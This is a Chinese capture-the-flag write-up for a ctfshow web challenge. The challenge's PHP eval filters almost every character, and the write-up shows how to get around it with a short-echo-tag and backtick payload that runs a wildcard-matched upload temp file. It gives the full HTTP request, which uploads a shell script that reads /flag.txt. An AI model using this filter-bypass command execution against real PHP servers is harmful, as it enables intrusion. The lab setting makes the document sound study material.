ctfshow-红包题第二弹

0x00 前言

  • CTF 加解密合集
  • CTF Web合集

0x01 题目

ctfshow-红包题第二弹_第1张图片

0x02 Write Up

同样,先看一下有没有注释的内容,可以看到有一个cmd的入参

ctfshow-红包题第二弹_第2张图片
执行之后可以看到文件代码,可以看到也是eval,但是中间对大部分的字符串都进行了过滤,留下了一个字母p

ctfshow-红包题第二弹_第3张图片
这里就需要知道一个知识点,php中可以通过进行打印,相当于echo,但是必须使用?>对之前的内容进行闭合

还有一个知识点就是如果是PHP上传文件的话,会在/tmp下生成一个为phpxxxxxx的文件x为随机字母

那么构造一下poc:就是

?><?=`.+/??p/p?p??????`; 

表示占位符

那么最终的数据包就是:

POST /?cmd=?%3E%3C?=`.+/??p/p?p??????`; HTTP/1.1
Host: 6aae41f0-5311-43d9-9769-75453c352b5b.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: xxxxxx
Content-Type: multipart/form-data; boundary=---------------------------107149833622792667114153151063
Content-Length: 258
Origin: http://127.0.0.1:8000
Connection: close
Referer: http://127.0.0.1:8000/run_any
Cookie: login_locale=zh_CN; avatarImageUrl=-351954267144434677; csrftoken=nbORQ4TEUH5bqVtZlC9gjZ4qzooR96rzFg7VCEOFmkouupiE1KIWdvQGCBqQnrBY; __utma=96992031.1671372876.1687101569.1687101569.1687101569.1; __utmz=96992031.1687101569.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionid=lnu0vgi75dlekaxsf7iu5g4j2nof5oug
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------107149833622792667114153151063
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

#! /bin/sh

cat /flag.txt
-----------------------------107149833622792667114153151063--

最终获取falg
ctfshow-红包题第二弹_第4张图片

以上

你可能感兴趣的:(CTF,web,web安全)